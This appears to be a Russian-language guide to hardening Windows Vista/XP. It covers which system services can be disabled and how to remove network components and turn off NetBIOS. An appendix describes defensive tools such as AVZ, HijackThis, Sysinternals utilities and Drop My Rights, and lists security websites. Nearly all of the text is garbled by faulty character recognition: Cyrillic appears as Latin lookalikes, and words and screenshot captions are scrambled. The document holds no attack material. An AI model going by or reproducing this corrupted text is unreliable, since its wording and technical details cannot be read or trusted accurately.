HaHHasa cnyxba npegHasHadeHa ans  pabotbl ¢ uUMdpoBbIMK
yaoctoBepeHuamu. Ha cnydan, ecnv Bam noTpedyeTcsi COOTBETCTBYHOLLMMN
dyHKUMOHan, crnykba MoXeT OblTb OCTaBneHa Ha Tune 3anycka « Bpy4Hyro»;
€Cnn Bbl He WCNbITbiIBaeTe MOTPEOHOCTM B MCMNOMb30BaAHUM LNMAPOBbLIX

yAOCTOBEPEHUN, cnyxba MoXeT ObITb U OTKIIKOYeHa.

pynnupoBka ceteBbix y4acTHMKOB [Peer Networking Grouping]
B ogHopaHroBon cetu (peer-to-peer, P2P) aTta cnyxba npegoctaBnsaeT
BO3MOXHOCTM rPYNnUPOBKN y4aCTHMKOB. ECnn Bbl HE MONb3yeTech ycryramu

P2P-ceTein, Bbl MOXETE N OTKIMHOUYUTL JAaHHYIO CnyxXo6y.
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Oucnetyep ypocToBepeHUs ceTeBbIX Yy4yacTHuMKoB [Peer Networking
Identity Manager]

[aHHbIN cepBUC aBnseTca cnyxbon uaeHTUprkaumm Ona OAHOPAHrOBbIX
ceten. Ecnn Bbl He nonb3yeTecb ycrnyramm P2P-ceten, ata cnyxba moxet

ObITb 1 OTKIIOYeHa.

Uzonauusa knoven CNG [CNG Key Isolation]

Cnyx6a wmsonsauuu Kno4venm npegHasHadeHa gna 6e3onacHoOro XxpaHeHus
3aKpbITbIX KNHOYEW W CBA3aHHbIX onepauumn kpuntorpadum, 3a CYeT 4ero
MMeeT HeKoTopoe CpOoACTBO C 3awuuweHHbIM  XpaHunuvwem. Kak ¢
nocnegHee, MoXeT ObITb OCTaBNEHO Ha TUNE 3anycka «BpyyHyoy.

Ot oatom cnyxbbl 3aBucut PacwumpsieMbli NPOTOKON NPOBEPKU

noanuHHoctu (EAP).

UHdopmaumna o coBmectumocTu npunoxeHun [Application Experience]
OTOoT cepBuc obOpabaTbiBaeT 3anpocbl Ha MPOBEPKY COBMECTMMOCTU

NPUNOXEHWI NPY NOMNbITKE UX 3anycka.

Koaw wpudgptoB Windows Presentation Foundation 3.0.0.0 [Windows
Presentation Foundation Font Cache 3.0.0.0]

3agava pgaHHOM cnyxObl COCTOUT B ONTMMWU3AUUN MNPOU3BOAUTENBHOCTU
npunoxeHnn Windows Presentation Foundation nocpeacTBOM K3LLMPOBaHMUA

4acTo UCMNOSb3yeMbIX LUPUGTOB.

HemeaneHHble noakntoyeHna Windows — peructpatop HaCTPOUKU
[Windows Connect Now — Config Registrar]

HaHHas cnyxba peructpypyeT W BblgaeT nognucYMKam  CeTeBble
yOOCTOBEPEHUA MPU  HEMEeAOSIEHHOM MOAKMKYEeHUN CeTeBbiX YCTPOWUCTB
(Connect Now, oHo e Windows Rally).

TexHonormn Windows Rally npegHasHadeHbl Onsa ynpoueHus npouenyp
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NOAKITIOYEHNA CeTeEBbIX yCTpOVICTB K KITMEHTCKOMY KOMMbKOTEPY WU WUX

nocriegyoLlen akTmsmsaumn.

OcHoBHble cnyXxo0bl goBepeHHOro nnatdgopmeHHoro moayna [TPM Base
Services]

[oBepeHHbIn nnatgopmeHHbin mMoaynb (TPM, Trusted Platform Module)
npegocTaBnseT annapatHble KpunTorpagouyeckMe YCnyrm CUCTEMHbBIM

KOMMNOHEHTaM N NPUNOXKEHUAM.

Mepeuncnurtens IP-wunH PnP-X [PnP-X IP Bus Enumerator]

HaHHas cnyxba ynpaBnseT BUpPTyanbHOW CETEBOW LUMHOW, pacrno3HaeT
ceteBble yctpouctBa ¢ nomouwbio Plug and Play Extensions (PnP-X) un
nepeuvncngaet ux B Plug and Play. 9Tu TexHonornm ucnons3sytotca B8 Windows

Rally napanneneHo ¢ Universal Plug and Play.

NMoppepkka anemeHTa naHenu ynpaBneHusa «OTyeTbl 0 Npobremax U nx
peweHunsax» [Problem Reports and Solutions Control Panel Support]

OTa cnyxba obecneunBaeT MNPOCMOTP, OTMNPaBKY W yAaneHue OT4YETOB O
CUCTEMHbIX  npobnemax  npu MCMNOMb30BaHUN  COOTBETCTBYHOLLEN

noanporpammsl MNaHenu ynpaeneHus.

NMpoTtokon PNRP [Peer Name Resolution Protocol]

OTa cnyxba nogogepXuBaeT paspelleHMe UMEH KOMMbIOTEPOB B
ofiHopaHrosown ceTn. Ecnu Bbl He nonb3yeTeck ycnyramn P2P-ceTen, AaHHbIN
CEpPBUC MOXET ObITb U OTKITHOYEH.

Ot aton cnyxbbl 3aBucAaT FpynnupoBKa ceTeBbIX y4acTHUKOB 1 Cnyxba

nyénukaumm umeH komnbrotepoB PNRP.
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Pacwupsiembin npoTokon npoBepku noanuHHoctn (EAP) [Extensible
Authentication Protocol]

Ecnn cetb TpebyeT npoBepkM MNOANMHHOCTM MO npoTtokony EAP, gaHHas
cnyxba obecneunBaeT ero nogaepXKy ONA KNMEHTOB AOCTyna K CeTU unu
HenocpeacTBEHHO Ans KOMMbloTepa B LErOM. JTOT CepBUC MOXET ObiTb

oCTaBneH B No3vuumn BpydHyto Ha crniyyai, ecnmn noTpebytoTcs ero ycnyriu.

CBepeHusa o npunoxeHuun [Application Information]
OTa cnyxba noggepXmBaeT BbINOMHEHNE WHTEPAKTUBHbLIX MNPUITOXEHUN C
AOMONHUTENbHLIMW  aAMUHUCTPATUBHbIMK  npuBunernamn.  [Ona  Hee

pekoMeHayeTcs 3anyck no TpeboBaHuIo.

CepBep ynopsinoyeHus notokoB [Thread Ordering Server]
3apgaya paHHOM cnyxkbbl cocTouT B obecnevyeHun ynopsigoOYMeHHOro
BbIMOSIHEHUSI ONMpeaenieHHON Tpynnbl NMOTOKOB 3a YCTAHOBIMEHHbLIN OTPE30K

BPEMEHW.

Cnyx6a SSTP [SSTP Service]

JTOoT cepBUC obecneuvMBaeT nNogdepXKy npotokona 6e3onacHoro
TYHHenupoBaHus cokeToB (Secure Socket Tunneling Protocol) ansa
BGesonacHoOro nNOAKMYEHNA K yOaneHHbIM KOMMbTepaM C  NOMOLLbHO
BUpTyanbHon YyacTHou cetn (Virtual Private Network, VPN). Tak kak oT aTou
cnyxbbl B Windows Vista SP1 3aBucut [ducnetyep nNOOKIHOYEHUN
yOaneHHoro [JocTtyna, OTKMAYMTbL €e [MOMHOCTbI He npeacTaBndeTcd

BO3MO>XHbIM.

Cnyx6a moaynsa apxuBauuu Ha ypoBHe 6rokoB [Block Level Backup
Engine Service]
OTOT cepBUC ABNSETCA gononHutTenbHbiM K ApxuBaumn Windows u

nogaepxumeaet apxmsaunto 1 BOCCTaHOBJIEHNE HA YpOBHE Gnokos..
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Cnyxb6a yBeAOMNeHMN NULEH3NPOBaAHUA NMpPOrpamMMHOro obecrnevyeHust
[SL Ul Notification Service]
HasHaueHne aTOro cepsBuca CcoOCTOMT B obecneyeHunm akTmBauum W

NULIEH3VOHHbIX YBEAOMIMNEHNI NporpaMmMHOro obecneyeHus.

Tononor kaHanbHoro ypoBHA [Link-Layer Topology Discovery Mapper]
HaHHaa cnyxba obecneunBaeT NOCTPOEHWE U (PYHKLUMOHMPOBAHWE KapTbl

ceTn.

Y3en cuctembl agnarHoctukm [Diagnostic System Host] u Y3en cnyxo6bl
avarHocTtukm [Diagnostic Service Host]

O™ cnyxbbl no3BONAT OBHapyXkuBaTb W YCTpaHATbL npobnemobl
komnoHeHTOB Windows. Ecnun Bbl He HyxgaeTecb B AMArHOCTUKE, CrYXObl

MOXET ObITb N OTKJTHOUYEHBbI.

YctaHoBwuk moayneun Windows [Windows Modules Installer]
3apgaya paHHoM cnyxBbl B obecneyeHMM BO3MOXHOCTU  YCTaAHOBKM,
N3MEHEHNSA U yaaneHUsi KOMNOHEHTOB OMnepaLMOHHON CUCTEMbI, OOHOBNEHWN

nT.Ao.

XocT noctaBwuka ¢pyHkuum obHapyxeHusn [Function Discovery Provider
Host]

Ota cnyxba gasngetca gononHutenbHoM K lybnukauum pecypcos
obHapyxeHna QyHKUMM W npeacTaBnseTr cobon  xocT-npouecc Angd

NOCTaBLUNKOB (PYHKLIMM OOHapYXeHUS.

LiBeToBasa cxema Windows (WCS) [Windows Color System]
OTa cnyxba oTBevyaeT 3a ynpaBrfieHWe LBEeTOBOM Manutpon odopmneHnd

ornepaunoHHON CUCTEMDI.
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Cnepyowme cnyx6bl A4OMKHbI UMETb TUMN 3anycka «ABTO» U paboTaTb
NOCTOAHHO. OTKMIOYEHME ITUX CIYXKO HexenaTtenbHO, MOCKOSIbKY MOXeT

CyLLeCTBEHHO HapyLlaTb (pyHKLUMOHANbLHOCTb CUCTEMbI.

Superfetch

OTOT cepBUC ABNHAETCS ewe O4HUM CPeACTBOM NogaepKaHus U NoBbILLEHMS
npousBoauTeNbHOCTU cucTeMbl. CywHocTb Superfetch coctout B 6Gonee
9P PEKTUBHOM NCNOMBb30BaHMM ONepaTUBHOM NAMATU: B HE3AHATLIX ydacTKax
RAM kawupyroTcsa Hambornee 4acto MCNosib3yemble MNPUITOXKEHUS, YTO
Nno3BonsieT BbI3blBaTb UX He C 6onee meaneHHoro gucka, a wu3s 6onee
BbICTpOW onepaTMBHOW NaMATH.

Ecnn Bbl He HyxagaeTecb B ontummu3aumm pabotbl OC, 1o cnyxba MoxeT

ObITb 1 OTKIIOYEeHa.

Oucnetyep ceaHcoB pAaucnetyepa OKOH paboyero crtona [Desktop
Window Manager Session Manager]
Ota cnyxba obecneumBaeT 3anyck M obcnyxumBaHue [gucnetTyepa OKOH

pabouyero crona.

KnueHTt rpynnoBou nonutuku [Group Policy Client]
HaHHbIn  cepBuc obecneynBaeT nNPUMEHEHME MapamMeTpoB PynnoBbIX

NONMNTUK, onpenerneHHbIX agMUHNUCTPaTOPOM UMM NOJIb30OBaTEJIEM.

JlnueHsnpoBaHue nporpamMmmMmHoro obecnevyeHus [Software Licensing]
OTOT cepBUC paspeLluaeT 3arpy3Ky, YCTaHOBKY W MUCMNOJSIb30BaHME UUAPOBbLIX
nuueHsum ans camon OC 1 NpunoXxeHun, Ha Hen padboTaroLmX.

Ot oatom cnyxbbl 3aBucat ReadyBoost n Cnyx6a yBegomneHumn

NULEH3UPOBAHMA NPOrpaMMHOro obecrne4vyeHus.
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MNnaHupoBLlMK KnaccoB mynbtTumeaua [Multimedia Class Scheduler]
[aHHaa cnyxba no3BonseT 3agaBaTb OTHOCUTESbHbIA NPUOPUTET TeX UMn
WHbIX 3a4a4 C Lenbko onTumMmsauumn paboTbl MynbTUMEANNHBLIX MPUNOXEHUIA.

Ot atou cnyx6bl 3aBucnt Windows Audio.

Cnyx6a wuHTepcenca coxpaHeHuss cetun [Network Store Interface
Service]

[aHHbIN  cepBUC  yBeoOMSISET MPUITOXKEHUS O  HaMMyYUM  CeTeBOro
NOLKMIOYEHMS, a TaKKe pacchblnaeT Npovme ceTesBble YBEOOMITEHUS.

Ot aton cnyxbbl 3aBucat DHCP-knueHT, BcnomoratenbHasa cnyxo6a IP,
CeTeBble noakntoyeHusi, Cnyxxb6a cBeaeHMU O NOAKITIOYEHHbLIX CeTAX,

Pabouyasa ctaHuuA.

Cnyxb6a nepeuucnutensa nepeHoCHbIx YycTpouctB [Portable Device
Enumerator Service]

3apgaya a3ToM cnyxObl COCTOMT B MNPUMEHEHUM T[PYNNOBON MOMUTUKN K
CbEMHbLIM 3anoMuHalWKUM YCTPOWCTBaM, a Takke B obecneyeHun
CYHXPOHM3aunn cogepxmnmoro ans npovrpoisatens Windows Media n gpyrunx

Nogo0HbIX NPOAYKTOB.

Cnyx6a nonutukun anarHoctuku [Diagnostic Policy Service]
[aHHbIN cepBUC NpuUMeHsieTca ans obHapyxeHua npobnem, ycTpaHeHus
Henoslagok M Noucka pelleHnin assi KOMMNOHEHTOB OnepaunoHHON CUCTEMBI.

Ecnu Bbl He HyXOaeTeCb B ANAarHOCTUKe, CJ'Iy)K6y MO>XXHO N OTKITHOYUTDb.

Cnyxb6a noMowHUKA no coBMecTUMOCTM nporpamm [Program
Compatibility Assistant Service]

[aHHaa cnyxba noggepxvmBaeT paboTy MOMOLLHMKA, NPEeaoCTaBfISOLLENO
cBeOgeHns O COBMECTUMOCTM MporpaMMHOro obecneyeHusa. Ecnu ycnyru

NOMOLLHMKa BaM He TpebytoTca, cnyxba MOXeT ObiTb U OTKITHOYeHa.
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Cnyx6a npocdunen nonb3oBateneun [User Profile Service]

3agada aTon cnyxbbl B obecnevyeHnn 3arpyskm 1 BbIrPy3KM yYEeTHbIX 3anncemn
nonb3oBaTenen, a TaKkke B paccblfike yBe4OMIIEHUA O coBbITUAX B Npodune
nofib3oBaTens.

OT gaHHoro cepsuca 3asucut crnyx6a CBegeHMsA 0 NPUIOXKEHUMN.

Cnyx6a cnucka ceten [Network List Service]

OTa cnyxba onpefensieT ceTn, K KOTOPbIM MNOAKMOYEH KOMMNbIOTEP, XPaHUT
cBegeHuss o6 aTMx ceTax M OonoBellaeT MnpunoXxeHns o6 M3MeHeHun
YNOMSHYTbIX CBEAEHW.

OT1 paHHOro cepsuca 3asBucut Cnyxoba yBeaoOMSIEHUN NULIEH3NPOBaHUSA

nporpamMmmMHoro o6ecrne4yeHus.

CpeactBo noctpoeHUs KoHeuHbiXx To4vyeK Windows Audio [Windows
Audio Endpoint Builder]
OTOT cepBUC ynpaBndeT aygmoyctponctesamm ansa cnyxoel Windows Audio,

KOTOpaAa ABlAeTCA 3aBMCUMOW OT Hee.

OmekrnryeHue cemesbixX MpomoKosioe U UHmMepaghelicos

CylWHOCTb [OeWCTBUK, OMUCbIBAEMbIX HMXE, COCTOMT B ydaneHuu
KOMMOHEHTOB CETEBOro MNOAKIOYEHUS!, KOTOpble npeaHasHadeHbl Ans
NoKanbHOW CeTH NpeanpuaTua 1 AnsS AoOMalLUHEro KoMmnbloTepa SBMSTCH He

bonee yem BEKTOpOM A5 3JTIOHaMepeHHOro NpoHNKHOBEHUA.

MaHenb ynpaeneHuna (knaccudecknn Bug) — CeTeBble nogknveHUsa (B
Windows Vista — [laHenb ynpaeBneHus (knaccudecku Bua) — LleHTp
yrpasrneHus cetamu U obwum JOoCcTynoMm — YnpaBneHue ceTeBbiMU
nogkrnoyeHnsamu). LenkHnte npaBon KnaBuWEW MbIKM MO  CETEBOMY

NOAKIMIOYEHUNIO, KOTOPOE UCMONb3yeTcs Ans CoeauMHeHust ¢ MIHTepHeToOM mnu



BbesonacHbin IHTepHeT. YHMBepcanbHas 3awmrta ans Windows ME — Vista 100

rnoKanbHON ceTblo, Bbibepute NyHKT CBOMCTBA M Nepenaute Ha BKNagky

CeTb. B pesynbtate uMeeM OKHO, n3obpaxxeHHoe Ha pucyHke 9.

i~ GPRS Generic - ceoMCcTBa E‘@

| Ofwwe | MNapamerpe | BesonachooTs | Cete HononHuTensHD
Tun nogkni4aeroro CepEepa Yo aneHHoND LoCTyna:
IPPP: \Window AMT 4/2000, [nternet

KDMI‘IDHEHTI:I_. HCNONESYEMEBIS 3THM NOOENKDHYEHIHER

= [lp |:|T|r=:.n.r| MHrepHeTa [TC F'.-"IF':
(] 1B K azpersky Antidins WOIS Fiker

HeoTaHoEMTE. .. 4 n0anTe CEOHCTES

OnucaHue

MNporokon TCPAP - cTaHgapTHER NpoTokon riodaneHe
CETEM, DAECMEYMEANWME CEASE MEXAY PASNUYHEIMI
ESEHMOLEACTEYHILL MMM CETAMM,

aE. H OtreHa ]

Puc. 9. Bknaoka Cemb OkHa ceolicma cemeagoao MoOKIoYeHUs

B aTOM OKHe Hac mHTepecyeT cnncok «KOMMOHEHTbI, UCNONb3yeMblE 3TUM
nogkntoyeHnem». HeobxogMmo Mo odvepeau BblAeNUTb UM yganutb C
NMOMOLLIbIO COOTBETCTBYHOLLEN KHOMKM BCE KOMMOHEHTbI, Kpome «lpoTokon
UHtepHeta (TCP/IP)» - B Windows Vista oH Ha3sbiBaeTca «[lpoTokon
MHTepHeta Bepcum 4 (TCP/IPv4)» - ©n KOMMNOHEHTOB 3aLUTHOrO
nporpaMmHoro obecneyeHunsi — Hanpumep, Takke N300paKeHHOro Ha PUCYHKE
NDIS-comnbTpa Kaspersky Internet Security. Korga KOMNOHEHTbl yaaneHsbl,
Bolgenute [lpotokon MWHTepHeTa... M HaxmuTe KHonky CsouncTtBa. B
NOSTyY4EHHOM OKHE HaXmuTe KHornky [onosiHMteneHO W nepengute Ha

Bknagky WINS (puc. 10).
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AononHutenbHble napameTpol TCP/IP EIB|

O6wme | DNS | WINS |

WS -aopeca, B NOpALGKE MCNONES0EAHKA;

WecnonezosaHue npoctorpa LMHOSTS envaer Ha Boce nogrkniodeHys,
uononesyiowde TCRAP.

[ ] Bentoste npocmorp LMHOSTS

Maparerpe HetBIOS

() Begiowre NetBI0S vepes TCPAP
(®) OTenoume NetBl05 yvepes TCRAP

[ OF. l[ OrtrieHa ]

Puc. 10. Bknadka WINS okHa ceolicme rnipomokosia lHmepHema

CHumuTe ranoyky «Bkrntounte npocmoTp LMHOSTS» 1 Bbibepute napameTp
«OTkntounTb NetBIOS yepes TCP/IP». lNoaTBepaute N3MeHeEHUs1 HaxkaTmem
kHoMkM OK BO BCeX OTKPbITbIX paHee OKHax.

ATy Xe onepauuo Heob6XxoAUMMO NMPOBECTU AN BCeX OCTalNbHbIX
ceTeBbIX NOAKITHOYEHUN, eCri TaKOBble UMEIOTCA.

B Windows XP nocne otknodeHnas LMHOSTS wun  NetBIOS
aBTOMaTUYECKM yaanswTca cnyxbbl Jlokatop yAaneHHoOro BbI3oOBa
npoueayp (RPC), OG6Gos3peBatenb kKomnblTepoB, OnoBewarenb,
NMoctaBwMK nopnepxkm 6Oe3onacHoctu NT LM, Paboyas ctaHuus,

CepBep, CeTeBon Bxoa B cuctemy, Cnyx6a coobLieHUHn.
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lMpunoxeHue

lNonesHoe npoepammHoe obecrieyeHue

B aTtom pasgene npueegeHbl onncaHnAa Tex UHCTPYMEHTOB, KOTOPble
4aCTO MUCMNOJIb3YKTCA KOHCYJ1bTaHTaMun 10 BGe3onacHoCcTn wu MoryT ObITb

none3Hbl Nnpu HabnogeHnn 3a CUCTEMON U ee aAHTUBUPYCHOM KOHTpPOIJ1E.

AVZ

AHTUBMpPYCHasa ytunuta AVZ — nyydwnn MHCTPYMEHT ANS aHTUBUPYCHOIO
KOHCyrnbTaHTa. JTa nporpaMmMa usHayasnbHO MpoeKkTupoBanachb Ans pyyYHOro
yAaneHns Bpe4oHOCHOro NporpaMmMHoro obecneyeHuns n notTomy npeanaraet
LUMPOKNIA CNEKTP (PyHKUMIA Ons 60opbObl C KOMMBOTEPHBIMU  BUpPYyCaMMU.
[MpoTOoKONblI MCCNedoBaHUS CUCTEMbI, MOSlyYeHHble C nomowbo AVZ,
MCMONb3YITCA HAa MHOMMX pecypcax No MHGOpPMaLMOHHOM BesonacHOCTY Ans
OKasaHUs NOMOLLM B NNeYeHn OT BPEAOHOCHbLIX NporpamMm.

KntoveBble BO3MOXHOCTUN AVZ:

AVZGuard — cuctema camo3salumTbl U BIOKMPOBKM ONACHbBIX CUCTEMHbIX
dyHkunn. [lo3BonseTr yaansaTb CaMOBOCCTaHaBMMBalOLWMECS  BUPYChI
nocpeactsoM ONOKMPOBKM oOnepauun UX BOCCTAHOBMEHUA; MPensiTCTByeT
Bbirpy3ke AVZ n 3awmiiaemMblx ee gpanBepoM nporpamMm.

AVZPM — pgpavBep  paclUMPEHHOro  MOHUTOPMHra  CUCTEMBb,
OCYLLECTBNAIOLWMIA HE3aBUCMMOE OT CUCTEMbl HabngeHne 3a npoueccamu u
ApavBepamMn, 4YTO MO3BOSSET BbIYUCNATL CHOXHbIE BPEOOHOCHbIE NMPOAYKThI
knacca RootKit.

CKpMNTOBbLIA  A3bIK, MPeAOCTaBNAWNA  WNPOKME  BO3MOXHOCTU
aBTOMaTM3aLMM BbINOSTHAEMbIX onepauuin.

Boot Cleaner — cuctema yganeHusi pannos 4o 3arpy3ku onepaumoHHOM

CUCTEMbI, YTO MO3BOMAET yAanuTb nNpakTu4ecku nobon BpeaoHOCHbIN dhann.
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ABTOKapaHTMH, No3BonsawoWwmn b6eICTpo cobpaTb BCe NOAO3PUTESNbHLIE
dannbl Ana ux n3yvyeHus.

Ba3a 6e3onacHbIX ¢pannos, NO3BONSAKOLLIAS UCKNOYATb N3 MPOTOKOSIOB
dannbl, ONo3HaHHbIE Kak 6e3onacHble.

AHTUPYTKUT — nogcuctema OGMOKMPOBKM MNEpPEXBATOB CUCTEMHbIX
YHKLMI, YTO NO3BONSAET YCNELIHO BbISIBAATD U YHUUTOXATb PYTKUTBI.

PeBu3op agucka, genatowmin CHAMKN UCKOB M NMO3BONSIOLWNIA BbISIBAATb
N3MeHeHnd B pannoBon cucteme.

Kpome Toro, gucnetyepbl n meHemxepbl AVZ no3BOMSOT u3ydaTb U
KOHTPONUPOBAaTb BCE KPUTUYECKME TOYKN OnepaumoHHON CUCTEMBI.

HactoatenbHO pekomeHayeTcs 03HAaKOMUTLCA CO CNPaBOYHON CUCTEMOW
nporpamMmmsbl nepeq ee NCcrnonb3oBaHNEM.

Cawut paspaboTtuunka http://z-oleg.com

HijackThis

HJT ©6bina paspabotaHa kak nporpamma ANs  BbiABNEHUS
HexenaTesibHbIX W3MEHEHWW B HacTpomkax Opaysepa n onepaunoHHOM
cuctembl B Uenom. B aHrnosiseldHOM cektope WHTepHeTa OHa ocTtaeTcd
OCHOBHOM MpOrpaMMon  UCCedoBaHUA CUCTEMbl, XOTA  MOCTEMNEHHO
COBMECTHO C HEW HayvMHalT [MpUMEHATbCA U bonee  KOMMMEKCHble
WHCTPYMEHTbI.

HijackThis reHepupyeT TEKCTOBbIA MPOTOKOM, MO AaHHbIM KOTOPOro
MOXHO BbIIBUTb HEKOTOpble BPEOOHOCHbIE U3MEHEHUS U UCMPaBUTb UX Ha
KOPPEKTHbIE C NOMOLLbI KOMaHabl Fix now. HeobxogmMmo OTMETUTb, YTO MO
cpaBHeHuto ¢ AVZ Bo3MOXHOCTU HIT orpaHuyeHbl, 1 npy NnpoTMBOOENCTBUN
CMOXHbIM  cny4yasaM  3apaxeHua  ucnonb3oBaHne AVZ  aBngeTtcA
npeanovYTUTENbHbIM.

3arpys3ka nporpammsbl: http://www.trendsecure.com/portal/en-

US/tools/security tools/hijackthis
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Ymunumsi Sysinternals

Pecypc Sysinternals 6bin cosgaH Mapkom PyccuHoBmyem u Bprocom
KorcBennom ¢ uenbko pasmelleHmst U pacnpoctpaHeHnsa Habopa nporpamm
ANS M3YdeHUs pasfnnyHblX KOMMOHEHTOB W Y4acTKOB OnepaumoOHHON
cuctembl. B 2006 rogy Sysinternals 6bin npunobpeteH Microsoft n Tenepb

pa3meLlaeTcsd rno agpecy http://technet.microsoft.com/en-us/sysinternals/.

Yawe apyrux Ans OMarHoCTUKM CUCTEMbl WUCMONb3YHTCS crieayolume

WHCTPYMEHTbI OT Sysinternals:

1) Autoruns — cpencTBO NPOCMOTPa KNoYen peectpa, OTBevalLmx 3a
aBTO3arnycK KOMMOHEHTOB OMNepPaLNOHHON CUCTEMBI, U YNpPaBreHUs NMU;

2) Process Explorer — pacwumpeHHbIn gucnetyep 3agay, No3BONsSHOLWNIA
npeacTaBnATb NPOLIECCHI B BUAE AepeBa U U3ydaTb UX CBOMCTBA;

3) Process Monitor — MHCTPYMEHT, 06beaMHAIOLMIA BO3MOXHOCTU OBYX
bonee paHHUXx yTunut, FileMon (cpegctBO MOHUTOPUHIA  (annoBbIX
onepaunn B cucteme) n RegMon (nporpamma HabnogeHns 3a onepauusimn B
peectpe OC);

4) TCPView — nporpamma oTOBpa)keHUs1 OTKPbITbIX CETEBbLIX MOPTOB U

YCTaHOBJIEHHbIX COEOANHEHUN.

Drop My Rights

CywiectByeT NpocTtoe, HO Mariou3BeCTHOE peLleHue, MO3BOoSsLLEee
nonb3oBaTensm usbexarb HENPUATHOCTEW MpU  NONb30BaHUN  JOGLIM
GpaysepoMm. OTuUM peweHnem sapnsetca nporpamma “Drop My Rights”,
HanucaHHaa coTpygHukom Microsoft Manknom Xosapgom. 3Ta nporpamma
NMOHMXaeT CUCTEeMHble rpaBa MPUIIOXKEHUA OO0 OnpeaerieHHOro YpPOBHS,
BCNeACTBME 4Yero OHO He MOXeT HaHeCTM CUcTeMe OLyTUMbIA  yulepo;

COOTBETCTBEHHO, nonb3oBaTellb MOXeT pa6OTaTb n B pexnve
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adMUHUCTpaTopa, HO npu 3TOM wucnosib3oBaTb Drop My Rights ans
OrpaHNYeHUst CUCTEMHbIX MpaB MNOTEHUMANbHO OMacHbIX MPUNOXKEHUN
(Hanpumep, ©Opaysepa) n pobuBatbca Takum obpasom 6onee BbICOKOro
ypoBHs1 6e30nacHOCTM.

Drop My Rights B kadecTBe napameTpa nNpUHMMAET NyTb K Nporpamme,
YbM MpaBa crnegyeTr MNOHM3WUTb. [onycTum, 4TO agMUHUCTpaTop noXxenan
pabotaTb c Internet Explorer nnu Firefox B 6onee 6e3onacHomM pexume; B

cny4ae c |E oH Gbl BBEN B KOMaHAHYK CTPOKY CreaytoLimne napameTpbl:

c:\nytb_k_nporpamme\dropmyrights.exe "C:\Program Files\Internet

Exploreniexplore.exe" C

Bcnegcteme atoro Internet Explorer ©yget 3anylieH C NOHWXKEHHbIMW
npusunernammn  ypoBHa C, wunm  “Constrained user’ («orpaHUYeHHbIN
nonb3oBaTenby»). B aTOM crnyyae npun BCTpeye C Kakom-nmbo ysi3BMMOCTbIO
MM OWKNOKOM YPOH, KOTOPbIA MOXET HaHecTu YA3BUMOCTb, Oyaer
MUHUMU3NpPOBaH. CnMCOK BO3MOXHbIX YPOBHEN NPUBUIIETAIA NOKa3aH HNXKeE:

N — normal user (06bIKHOBEHHbIN NOSIb30BaTESb)

C — constrained user (orpaHUYeHHbIN Nonb3oBaTerb)

U — untrusted user (HeHageXxHbI Nofb30BaTesb)

Apnbik NPUAOXEHUS MOXET OblTb HACTPOEH Taknm obpas3om, YTOObI OHO
BCerga 3anyckanocb C MMHUManbHbIMW nNpaBamn. B cBoncTBax sipribika Ha
3aknagke Aprnblk HeobxoaMmo un3MeHuUTb none OO6bekT, gobasmB nepen
nyTemM K NpuroXxeHuto agpec ucnonHsemoro gavna DropMyRights.exe — k
npumepy, ans 6paysepa Firefox C:\windows\dropmyrights.exe "C:\Program
Files\Mozilla Firefox\firefox.exe" N.

CnegyeT umeTb B BUAY, YTO HEKOTOpblE MporpaMmmbl MOryT pabortaTtb C
owmnbkamn, ecnm 3anyctuTb UX C OrpaHUYEHHbIMUM nNpasBamu (K Gpaysepam
9TO, KaKk NpaBuno, He OTHOCUTCH).

O nporpamme: http://msdn2.microsoft.com/en-us/library/ms972827.aspx
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PekomeHayemble pecypchbl

1. AHTBUpYcHbIN nopTan Virusinfo (http://virusinfo.info).

Virusinfo — oguH 13 BegyLLmMX pecypcoB pyCcCKOro cektopa MHTepHeTa B
obnactm neyeHuss KOMMbIOTEPOB OT BPEAOHOCHOrO  MPOrpamMMHOro
obecneveHunsi. Ha 6ase Virusinfo cdopmMnpoBaHO yHUKanNbHOE 3KCMEPTHOE
coobLecTBO, MOCTOSHHO  BedyTCs  aHanuTUyeckMe  nUccnegoBaHus,
NpoOBOOATCA  TecTbl  aHTUBUPYCHOrO  MNporpaMmmHoro  obecneyeHus,
obcyxpatotca  dopMbl M cnocobbl  NPOTMBOAEWNCTBUS  BPELOHOCHbLIM

nporpamMmmanm.

2. HezaBuCUMbIA UHGMOpPMaUMOHHO-aHANMUTUYEeCKUM nopTtan Anti-

Malware.ru (http://anti-malware.ru).

Anti-Malware npoBoguT perynsipHble TecTbl 3alUTHOr0 MPOrpamMMHOro
obecneyeHuss Mo MHOMMM napameTpam, onpeaensmnM 3dPEKTUBHOCTb
3aLUUTHBIX PeLLUEeHN — KaYecTBO PeakTUBHOIO AETEKTUPOBAHUS, MPOAKTUBHOWN
3alunTbl, camo3alWMTbl W T.A4., OCYLIEeCTBNSET aHanutuyeckne o0630opbl
nocrnegHnx TeHOeHUUMn B MHAOYCTpMM ©e30nacHOCTU, uccneayeT PbIHOK

3awmtHoro MO n nybnukyeT COOTBETCTBYIOLIME OTYEThI.

3. Moptan OSZone (http://0oszone.net).

Ob6wupHas 6asa 3HaHun pecypca OSZone CcOOEPXKUT LEHHbIE U
WHTepecHble MaTtepumanbl 06 annapaTHOM W nporpamMmMHOM obecneyeHuu
KOMMbIOTEPOB, OMepauMoOHHbIX cucTtemax cemencrtsa Microsoft Windows,
cucteMmax ynpaeneHna 6aszamu gaHHbix 1 1.4. B cdepy BHMMaHua OSZone

BXOAAT 1 Bonpockl obecneveHuns 6eszonacHoCcTn MHopmaumm.

4. BupycHas aHuuknoneaus Viruslist (http://viruslist.ru).

Viruslist — KOMMMEeKCHbIN pecypc No MHGOPMaUNOHHOM BGe30nacHOCTw,

nogaepxusaembln  «Jlabopatopmuen Kacnepckoro». OcHoBy Viruslist
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COCTaBNgAeT 3JHUMKNoneams BPeOoOHOCHOro MporpaMMHoro obecneyeHus,
BKMOYawoLWasas HaMMEHOBaHUS U OMNUCaHUS  BPELOHOCHLIX MNporpamMm,
oBHapyxmBaembIX npoaykTramm «Jlabopatopumn Kacnepckoroy;
NpeacTaBnsAT WHTEPEC TakkKe aHanuTU4eckue cTaTtbM O TeHAEHUUNAX
pa3suTua BpegoHocHoro MO, cTtaTucTudeckme cBedeHUs O YaCTOTHOCTU U

pacnpoCTpaHeHHOCTN onpeaeneHHbIX BUAOB KOMMbIOTEPHbIX BUPYCOB UM T.4.

5. SecurityLab (http://securitylab.ru).

MopTtan SecurityLab nossonseTt uuitatento ObiTb B Kypce nocnegHux
cobbITMin B 0bnactn nHgopmaumoHHon GesonacHocTn. PacnpocTpaHeHHble
NHEKUMN, OBHapy>XEeHHblE YS3BMMOCTW, HOBOCTU BbICOKMX TEXHOSIOMMA U
